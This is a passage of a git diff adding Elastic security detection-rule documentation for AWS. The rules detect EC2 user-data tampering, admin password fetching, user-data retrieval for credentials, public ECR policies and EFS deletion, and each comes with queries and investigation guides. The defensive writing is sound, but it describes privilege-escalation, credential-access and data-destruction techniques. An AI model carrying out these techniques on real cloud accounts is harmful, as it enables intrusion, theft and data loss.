corresponds to known incidents and ensure it was disabled afterward. + +- **Automated infrastructure provisioning** + - Some IaC tools may enable serial console access during instance setup. Validate against CI/CD logs. + + +*Response and remediation* + + +- **Immediate containment** + - If unauthorized, immediately disable serial console access using `DisableSerialConsoleAccess`. + - Review any instances that may have been accessed via serial console. + +- **Investigation** + - Audit CloudTrail for all serial console-related API calls (`EnableSerialConsoleAccess`, `DisableSerialConsoleAccess`, `SendSerialConsoleSSHPublicKey`, `GetSerialConsoleAccessStatus`). + - Check for any data exfiltration or lateral movement that occurred during the enabled period. + +- **Hardening** + - Restrict `ec2:EnableSerialConsoleAccess` permissions to a limited set of administrative roles. + - Implement AWS Config rules or Security Hub controls to alert on serial console access state changes. + - Consider using SCPs to prevent serial console enablement in production accounts. + + +*Additional information* + +- **https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-serial-console.html[AWS Documentation: EC2 Serial Console]** +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "ec2.amazonaws.com" + and event.action: "EnableSerialConsoleAccess" + and event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ +* Technique: +** Name: Modify Cloud Compute Infrastructure +** ID: T1578 +** Reference URL: https://attack.mitre.org/techniques/T1578/ +* Sub-technique: +** Name: Modify Cloud Compute Configurations +** ID: T1578.005 +** Reference URL: https://attack.mitre.org/techniques/T1578/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ec2-stop-start-and-user-data-modification-correlation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ec2-stop-start-and-user-data-modification-correlation.asciidoc new file mode 100644 index 0000000000..f1dbb20d64 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ec2-stop-start-and-user-data-modification-correlation.asciidoc @@ -0,0 +1,165 @@ +[[prebuilt-rule-8-19-34-aws-ec2-stop-start-and-user-data-modification-correlation]] +=== AWS EC2 Stop, Start, and User Data Modification Correlation + +Identifies a short sequence of EC2 management APIs against the same instance that is consistent with modifying instance user data and forcing it to run on the next boot: `ModifyInstanceAttribute` with user data, followed by stop and start. Adversaries may update `userData` and cycle instance state so malicious scripts execute as root on Linux or as the system context on Windows. This rule correlates successful `StopInstances`, `StartInstances`, and `ModifyInstanceAttribute` events that reference `userData` within a five-minute window, grouped by instance, `user.name`, account, source IP, and user agent. A hit requires exactly three distinct API names in that bucket. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-20m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ModifyInstanceAttribute.html +* https://hackingthe.cloud/aws/exploitation/local_ec2_priv_esc_through_user_data + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS EC2 +* Data Source: AWS CloudTrail +* Use Case: Threat Detection +* Tactic: Execution +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Normal +* Rule Type: ES|QL +* Platform: AWS +* Service: AWS EC2 + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS EC2 Stop, Start, and User Data Modification Correlation* + + +This detection aggregates successful EC2 `StopInstances`, `StartInstances`, and `ModifyInstanceAttribute` (with +`userData` in request parameters) over **five-minute** windows. Rows are keyed by **instance ID** (`Esql.instance_id` +from the grok on `aws.cloudtrail.request_parameters`), **`user.name`**, **`cloud.account.id`**, **`user_agent.original`**, +and **`source.ip`**. The rule fires only when **`Esql.event_action_unique_count` is 3**, meaning all three API names +appear in the same bucket—consistent with changing user data and cycling the instance to run it. + +The aggregated result does **not** include raw `request_parameters`; use the alert’s instance, account, user, IP, user +agent, and time bucket to query CloudTrail for the underlying events and payloads. + + +*Possible investigation steps* + + +- **Interpret the alert columns**: Review `Esql.event_action_values` to confirm the three actions are present (typically + `ModifyInstanceAttribute`, `StopInstances`, `StartInstances`). Use `Esql.event_action_unique_count` to verify the + rule logic (expect `3`). +- **Confirm the instance**: Use `Esql.instance_id` plus `cloud.account.id` in CMDB or AWS Resource Groups. Ensure the + grok-derived ID matches the instance you expect (multi-instance API calls can affect extraction). +- **Identify the caller**: Tie `user.name` to an IAM user or role session name as shown in CloudTrail; for assumed roles, + pivot in raw logs on `aws.cloudtrail.user_identity.arn` and session context in the same time window. +- **Validate client and origin**: Compare `user_agent.original` and `source.ip` to known admin workstations, bastions, + or CI/CD egress. The rule intentionally groups by these fields so unrelated sessions do not merge into one bucket. +- **Recover user data context**: In CloudTrail (or the integration’s `aws.cloudtrail.request_parameters` on raw events), + inspect the `ModifyInstanceAttribute` record for `userData` and whether values are base64 or placeholders. +- **Hunt for follow-on activity**: After the window, look for IAM changes, role assumption, or data access from the + instance or the same principal. + + +*False positive analysis* + + +- **Infrastructure as code**: Terraform, Ansible, and Pulumi user agents are excluded, but other automation may still + match. Validate pipeline identity, change tickets, and whether stop/start is part of approved maintenance. +- **Break-glass or support workflows**: Some teams modify user data and restart instances during recovery; confirm with + the workload owner. +- **Shared `user.name` or NAT**: If many callers share one identity or IP, bucketing may still separate sessions when IP + or user agent differs; conversely, identical UA/IP across benign bulk operations can resemble this pattern—confirm + intent. + + +*Response and remediation* + + +- If unauthorized, isolate the instance, revoke or restrict the principal’s EC2 permissions, and rotate any credentials + that may have been exposed in user data. +- Prefer Secrets Manager or Parameter Store over long-lived secrets in user data. + + +*Additional information* + + +- https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html[AWS EC2 User Data] +- https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ModifyInstanceAttribute.html[ModifyInstanceAttribute] +- https://hackingthe.cloud/aws/exploitation/local_ec2_priv_esc_through_user_data[Local EC2 privilege escalation through user data] + + +==== Rule query + + +[source, js] +---------------------------------- +FROM logs-aws.cloudtrail-* +| WHERE event.provider == "ec2.amazonaws.com" + and event.outcome == "success" + and aws.cloudtrail.user_identity.type != "AWSService" + and not ( + user_agent.original like "*Terraform*" + or user_agent.original like "*Ansible*" + or user_agent.original like "*Pulumi*" + ) and not source.address in ("cloudformation.amazonaws.com", "servicecatalog.amazonaws.com") + and + ( + event.action in ("StopInstances", "StartInstances") or + (event.action == "ModifyInstanceAttribute" and aws.cloudtrail.request_parameters like "*userData=*") + ) +| grok aws.cloudtrail.request_parameters """instanceId=(?[^,}\]]+)""" +| STATS Esql.event_action_unique_count = COUNT_DISTINCT(event.action), + Esql.event_action_values = VALUES(event.action) by Esql.instance_id, user.name, cloud.account.id, Esql.time_bucket = DATE_TRUNC(5 minute, @timestamp) , user_agent.original, source.ip, source.as.organization.name, source.geo.country_name +| where Esql.event_action_unique_count == 3 +| Keep Esql.*, user.name, cloud.account.id, user_agent.original, source.ip, source.as.organization.name, source.geo.country_name + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Cloud API +** ID: T1059.009 +** Reference URL: https://attack.mitre.org/techniques/T1059/009/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Cloud Compute Infrastructure +** ID: T1578 +** Reference URL: https://attack.mitre.org/techniques/T1578/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ec2-unauthorized-admin-credential-fetch-via-assumed-role.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ec2-unauthorized-admin-credential-fetch-via-assumed-role.asciidoc new file mode 100644 index 0000000000..9e25eb8c2c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ec2-unauthorized-admin-credential-fetch-via-assumed-role.asciidoc @@ -0,0 +1,138 @@ +[[prebuilt-rule-8-19-34-aws-ec2-unauthorized-admin-credential-fetch-via-assumed-role]] +=== AWS EC2 Unauthorized Admin Credential Fetch via Assumed Role + +Identifies the first occurrence of an unauthorized attempt by an AWS role to use `GetPassword` to access the administrator password of an EC2 instance. Adversaries may use this API call to escalate privileges or move laterally within EC2 instances. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS EC2 +* Use Case: Identity and Access Audit +* Resources: Investigation Guide +* Tactic: Credential Access +* Noise: Low +* Performance: Normal +* Rule Type: New Terms +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS EC2 + +*Version*: 10 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS EC2 Unauthorized Admin Credential Fetch via Assumed Role* + + +This rule detects the first occurrence of a role using the `GetPasswordData` API call, which retrieves the administrator password, against an unauthorized EC2 instance in AWS. This can be an indicator of an adversary attempting to escalate privileges or move laterally within EC2 instances. + +This is a New Terms rule, which means it will only trigger once for each unique value of the `aws.cloudtrail.user_identity.session_context.session_issuer.arn` field that has not been seen making this API request within the last 7 days. This field contains the Amazon Resource Name (ARN) of the assumed role that triggered the API call. + + +*Possible Investigation Steps* + + +- **Identify the User Identity and Role**: Examine the AWS CloudTrail logs to determine the user identity that made the `GetPasswordData` request. Pay special attention to the role and permissions associated with the user. +- **Review Request Parameters**: Analyze the `aws.cloudtrail.request_parameters` and `aws.cloudtrail.error_message` fields to understand the context of the API call. +- **Contextualize with User Behavior**: Compare this activity against the role's typical behavior patterns. Look for unusual login times, IP addresses, or other anomalous actions taken by the role prior to and following the incident. +- **Review EC2 Instance Details**: Check the details of the EC2 instance from which the password retrieval was attempted. Assess the criticality and sensitivity of the applications running on this instance. +- **Examine Related CloudTrail Events**: Search for other API calls made by the same role, especially those modifying security groups, network access controls, or instance metadata. +- **Investigate the Origin of the API Call**: Analyze the IP address and geographical location from which the request originated. Determine if it aligns with expected locations for legitimate administrative activity. + + +*False Positive Analysis* + + +- **Legitimate Administrative Actions**: Ensure that the activity was not part of legitimate administrative tasks such as system maintenance or updates. +- **Automation Scripts**: Verify if the activity was generated by automation or deployment scripts that are authorized to use `GetPasswordData` for legitimate purposes. + + +*Response and Remediation* + + +- **User Account Review**: Review the permissions of the implicated user identity. Apply the principle of least privilege by adjusting permissions to prevent misuse. +- **Enhanced Monitoring**: Increase monitoring on the user identity that triggered the rule and similar EC2 instances. +- **Incident Response**: If malicious intent is confirmed, initiate the incident response protocol. This includes further investigation, containment of the threat, eradication of any threat actor presence, and recovery of affected systems. +- **Preventative Measures**: Implement or enhance security measures such as multi-factor authentication and continuous audits of sensitive operations like `GetPasswordData`. + + +*Additional Information* + + +Refer to resources like https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc[AWS privilege escalation methods] and the MITRE ATT&CK technique https://attack.mitre.org/techniques/T1552/005/[T1552.005 - Cloud Instance Metadata API] for more details on potential vulnerabilities and mitigation strategies. + + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:"aws.cloudtrail" + and event.provider:"ec2.amazonaws.com" and event.action:"GetPasswordData" + and aws.cloudtrail.user_identity.type:"AssumedRole" and aws.cloudtrail.error_code:"Client.UnauthorizedOperation" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Cloud Instance Metadata API +** ID: T1552.005 +** Reference URL: https://attack.mitre.org/techniques/T1552/005/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ec2-user-data-retrieval-for-ec2-instance.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ec2-user-data-retrieval-for-ec2-instance.asciidoc new file mode 100644 index 0000000000..8594b2e23c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ec2-user-data-retrieval-for-ec2-instance.asciidoc @@ -0,0 +1,155 @@ +[[prebuilt-rule-8-19-34-aws-ec2-user-data-retrieval-for-ec2-instance]] +=== AWS EC2 User Data Retrieval for EC2 Instance + +Identifies discovery request DescribeInstanceAttribute with the attribute userData and instanceId in AWS CloudTrail logs. This may indicate an attempt to retrieve user data from an EC2 instance. Adversaries may use this information to gather sensitive data from the instance such as hardcoded credentials or to identify potential vulnerabilities. This is a New Terms rule that identifies the first time an IAM user or role requests the user data for a specific EC2 instance. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DescribeInstanceAttribute.html +* https://hackingthe.cloud/aws/exploitation/local_ec2_priv_esc_through_user_data + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS EC2 +* Tactic: Discovery +* Rule Type: New Terms +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive + +*Version*: 11 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and Analysis* + + + +*Investigating AWS EC2 User Data Retrieval for EC2 Instance* + + +This rule detects requests to retrieve the `userData` attribute of an EC2 instance using the `DescribeInstanceAttribute` API action. The `userData` field can contain sensitive information, such as hardcoded credentials or configuration scripts, that adversaries may exploit for further attacks. + + +*Possible Investigation Steps* + + +- **Identify the Target Instance**: + - **Instance ID**: Review the `aws.cloudtrail.flattened.request_parameters.instanceId` field to identify the EC2 instance targeted by the request. Confirm whether this instance should expose its `userData` and whether it is associated with sensitive workloads. + - **Analyze userData**: If possible, retrieve and inspect the `userData` field to identify sensitive information like hardcoded credentials or configuration scripts. + +- **Review User Context**: + - **User Identity**: Inspect the `aws.cloudtrail.user_identity.arn` field to identify the user or role that executed the `DescribeInstanceAttribute` action. Investigate whether this user typically performs such actions. + - **Access Patterns**: Validate whether the user or role has the necessary permissions and whether the frequency of this action aligns with expected behavior. + - **Access Key ID**: Check the `aws.cloudtrail.user_identity.access_key_id` field to determine the key used to make the request as it may be compromised. + - **Source IP and Geolocation**: Check the `source.address` and `source.geo` fields to validate whether the request originated from a trusted location or network. Unexpected geolocations can indicate adversarial activity. + - **User Agent**: Inspect the `user_agent.original` field to determine the tool or client used (e.g., Terraform, AWS CLI). Legitimate automation tools may trigger this activity, but custom or unknown user agents may indicate malicious intent. + +- **Check for Related Activity**: + - **IAM Changes**: Correlate this event with any IAM changes or temporary credential creation to identify potential privilege escalation attempts. + - **API Usage**: Look for other unusual API calls (e.g., `RunInstances`, `GetObject`, `AssumeRole`) by the same user or IP to detect lateral movement or data exfiltration attempts. + +- **Validate Intent**: + - **Permissions and Justification**: Ensure that the user has the least privilege required to perform this action. Investigate whether there is a valid reason for accessing the `userData` field. + + +*False Positive Analysis* + + +- **Automation**: This event is often triggered by legitimate automation tools, such as Terraform or custom scripts, that require access to `userData` during instance initialization. +- **Maintenance Activity**: Verify whether this event aligns with expected administrative activities, such as debugging or instance configuration updates. + + +*Response and Remediation* + + +- **Revoke Excessive Permissions**: If unauthorized, immediately remove `DescribeInstanceAttribute` permissions from the user or role. +- **Quarantine the Target Instance**: If malicious behavior is confirmed, isolate the affected EC2 instance to limit further exposure. +- **Secure User Data**: + - Avoid storing sensitive information, such as credentials, in `userData`. Use AWS Secrets Manager or Parameter Store instead. + - Encrypt user data and ensure only authorized users can decrypt it. +- **Audit IAM Policies**: Regularly review IAM policies to ensure they adhere to the principle of least privilege. +- **Monitor and Detect**: Set up additional alerts for unexpected `DescribeInstanceAttribute` calls or other suspicious API activity. + + +*Additional Information* + + +For more details on managing EC2 user data securely, refer to the https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html[AWS EC2 User Data Documentation]. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "ec2.amazonaws.com" + and event.action: "DescribeInstanceAttribute" + and event.outcome: "success" + and aws.cloudtrail.flattened.request_parameters.attribute: "userData" + and not aws.cloudtrail.user_identity.invoked_by: ( + "AWS Internal" or + "cloudformation.amazonaws.com" or + "aidevops.amazonaws.com" or + "elasticmapreduce.amazonaws.com" or + "aiops.amazonaws.com" + ) + and not user_agent.original: (*Terraform*) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Cloud Infrastructure Discovery +** ID: T1580 +** Reference URL: https://attack.mitre.org/techniques/T1580/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Cloud Instance Metadata API +** ID: T1552.005 +** Reference URL: https://attack.mitre.org/techniques/T1552/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ecr-repository-or-registry-policy-granted-public-access.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ecr-repository-or-registry-policy-granted-public-access.asciidoc new file mode 100644 index 0000000000..ca6e870b52 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ecr-repository-or-registry-policy-granted-public-access.asciidoc @@ -0,0 +1,115 @@ +[[prebuilt-rule-8-19-34-aws-ecr-repository-or-registry-policy-granted-public-access]] +=== AWS ECR Repository or Registry Policy Granted Public Access + +Detects when an Amazon ECR repository or registry policy is modified to grant public access using a wildcard principal (Principal:"*") statement. This rule analyzes SetRepositoryPolicy and PutRegistryPolicy events whose policy document grants an Allow effect to a wildcard ("*") principal, indicating that pull (and potentially push) permissions were extended to all identities, including unauthenticated users. A public container registry can expose proprietary images and any secrets baked into their layers, and, if push is allowed, enables supply-chain implantation. Public ECR access is sometimes intentional for image distribution, so the granting principal and the permissions should be validated. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 10m + +*Searches indices from*: now-15m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/AmazonECR/latest/APIReference/API_SetRepositoryPolicy.html +* https://docs.aws.amazon.com/AmazonECR/latest/userguide/repository-policies.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS ECR +* Use Case: Threat Detection +* Tactic: Exfiltration +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Fast +* Rule Type: ES|QL +* Platform: AWS + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS ECR Repository or Registry Policy Granted Public Access* + + +This rule detects "SetRepositoryPolicy" or "PutRegistryPolicy" calls where the policy document grants an Allow effect to a wildcard ("*") principal, granting access to all identities. A public ECR repository allows anyone to pull its images, exposing proprietary code and any secrets embedded in image layers; if push actions are granted, an adversary can implant a malicious image that downstream ECS, EKS, or Lambda workloads then run. + + +*Possible investigation steps* + + +- Identify the actor in "aws.cloudtrail.user_identity.arn" and "aws.cloudtrail.user_identity.type", and review "source.ip" and "user_agent.original" for an unexpected origin or tool. +- Extract the policy from "aws.cloudtrail.request_parameters" and identify the granted actions; pull actions (BatchGetImage, GetDownloadUrlForLayer) expose images, while push actions (PutImage, UploadLayerPart) enable implantation. +- Confirm whether a Deny statement restricts the same access, in which case the alert may be a false positive. +- Determine which repository is affected and whether it contains sensitive images, and correlate with subsequent pull or push activity from external principals. + + +*False positive analysis* + + +- Public image distribution legitimately uses Principal:"*". Confirm the exposure is intended, the actions are pull-only, and the granting principal is approved. + + +*Response and remediation* + + +- If the exposure is unauthorized, restore a known-good policy or remove the public statement, and review for any external pulls or pushes since the change. +- Rotate or restrict credentials for the principal if compromise is suspected, and restrict "ecr:SetRepositoryPolicy" and "ecr:PutRegistryPolicy" to trusted administrators. + + +==== Setup + + +This rule requires AWS CloudTrail logs ingested via the Elastic AWS integration. See https://docs.elastic.co/integrations/aws/cloudtrail for setup details. + +==== Rule query + + +[source, js] +---------------------------------- +FROM logs-aws.cloudtrail-* METADATA _id, _version, _index +| WHERE event.provider == "ecr.amazonaws.com" + AND event.action IN ("SetRepositoryPolicy", "PutRegistryPolicy") + AND event.outcome == "success" + AND (aws.cloudtrail.user_identity.type IS NULL OR aws.cloudtrail.user_identity.type != "AWSService") + AND aws.cloudtrail.request_parameters RLIKE """.*\"Effect\": *\"Allow\".*""" + AND (aws.cloudtrail.request_parameters RLIKE """.*\"Principal\": *\"\*\".*""" + OR aws.cloudtrail.request_parameters RLIKE """.*\"Principal\": *\{ *\"AWS\": *\"\*\".*""") +| KEEP _id, _version, _index, @timestamp, aws.*, cloud.*, event.*, source.*, user.*, user_agent.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Transfer Data to Cloud Account +** ID: T1537 +** Reference URL: https://attack.mitre.org/techniques/T1537/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-efs-file-system-deleted.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-efs-file-system-deleted.asciidoc new file mode 100644 index 0000000000..042c346389 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-efs-file-system-deleted.asciidoc @@ -0,0 +1,177 @@ +[[prebuilt-rule-8-19-34-aws-efs-file-system-deleted]] +=== AWS EFS File System Deleted + +Identifies the deletion of an Amazon EFS file system using the "DeleteFileSystem" API operation. Deleting an EFS file system permanently removes all stored data and cannot be reversed. This action is rare in most environments and typically limited to controlled teardown workflows. Adversaries with sufficient permissions may delete a file system to destroy evidence, disrupt workloads, or impede recovery efforts. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/efs/latest/ug/API_DeleteFileSystem.html +* https://docs.aws.amazon.com/efs/latest/ug/API_DeleteMountTarget.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS EFS +* Tactic: Impact +* Rule Type: Custom Query (KQL) +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal + +*Version*: 214 + +*Rule authors*: + +* Austin Songer +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS EFS File System Deleted* + + +Amazon Elastic File System (EFS) provides scalable, shared file storage used by EC2, container workloads, analytics jobs, and other persistent applications. Deleting an EFS file system (`DeleteFileSystem`) permanently removes all stored data and cannot be recovered. Mount targets must already be deleted, but those operations are common and do not themselves indicate malicious behavior. This rule focuses exclusively on the irreversible destructive event, which may signal intentional data destruction, ransomware preparation, or a post-compromise cleanup effort. + + +*Possible investigation steps* + + +- **Identify the actor and calling context** + - Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id`. + - Check `source.ip`, `user_agent.original`, and whether the call originated via console, IAM role, STS session, or long-lived IAM key. + - Verify whether this principal typically manages EFS resources or teardown activities. + +- **Determine what was deleted** + - Inspect `aws.cloudtrail.request_parameters` to identify the deleted file system ID. + - Map the resource to: + - Application or owner team + - Environment classification (prod / dev / test) + - Dependency surfaces (EC2 instances, ECS tasks, Lambda, analytics pipelines) + +- **Reconstruct timeline and intent** + - Use `@timestamp` to correlate with: + - Recent `UpdateFileSystem` events (e.g., deletion protection, lifecycle policies) + - IAM policy or trust policy changes + - EC2 or container runtime disruption shortly before deletion + - Unexpected regional activity or off-hours execution + - Determine if mount target deletions occurred immediately beforehand (expected lifecycle) or unexpectedly earlier (possibly suspicious when paired with other anomalies). + +- **Correlate with broader account activity** + - Pivot in CloudTrail on: + - The same access key or session + - The same EFS file system ID + - Look for: + - Privilege escalation (new policy attachments, role assumptions) + - Lateral movement (SSM sessions, unusual EC2 access) + - Signs of cleanup or anti-forensics (CloudWatch log group deletions, RDS snapshot deletions) + - Network isolation actions (security-group or NACL updates) + +- **Validate with owners** + - Confirm with application or infrastructure teams: + - Whether the deletion was planned, approved, or part of an environment teardown + - Whether a migration or infrastructure rotation is in progress + - Whether the deleted file system contained production or sensitive workloads + + +*False positive analysis* + + +- **Expected teardown activity** + - Some pipelines (Terraform, CloudFormation, CDK, custom IaC) delete file systems as part of environment rotation or decommissioning. + - Add exceptions for known automation roles or environment tags (e.g., `Environment=Dev`). + +- **Ephemeral test environments** + - Development, QA, or integration test accounts may routinely create and destroy EFS file systems. + - Suppress events for non-production accounts where destructive operations are normal. + +- **Automated housekeeping** + - Internal tooling or lifecycle processes may remove unused EFS resources. + - Identify automation roles and use exceptions based on `aws.cloudtrail.user_identity.arn` or `user_agent.original`. + + +*Response and remediation* + + +- **Contain and secure** + - If unauthorized, revoke or disable the credentials used for the deletion. + - Review CloudTrail for additional destructive or privilege-escalating operations from the same actor. + - Validate whether any associated compute workloads (EC2, ECS, Lambda) show compromise indicators. + +- **Assess impact** + - Identify workloads impacted by the file system deletion. + - Determine whether alternate backups exist (EFS-to-EFS Backup, AWS Backup vaults). + - Evaluate operational disruption and data-loss implications, especially for compliance-bound data. + +- **Recover (if possible)** + - Restore from AWS Backup if a protected resource existed. + - Rebuild infrastructure dependencies that relied on the deleted file system. + +- **Hardening and prevention** + - Restrict use of `elasticfilesystem:DeleteFileSystem` to tightly controlled IAM roles. + - Use IAM conditions (e.g., `aws:PrincipalArn`, `aws:SourceIp`, `aws:RequestedRegion`) to limit destructive operations. + - Ensure AWS Backup policies include EFS resources with sufficient retention. + - Use AWS Config or Security Hub controls to detect: + - EFS file systems without backup plans + - Unexpected changes to file system policies + + +*Additional information* + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "elasticfilesystem.amazonaws.com" + and event.action: "DeleteFileSystem" + and event.outcome: "success" + and not user_agent.original: (*Terraform* or *Pulumi*) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Destruction +** ID: T1485 +** Reference URL: https://attack.mitre.org/techniques/T1485/ diff --git 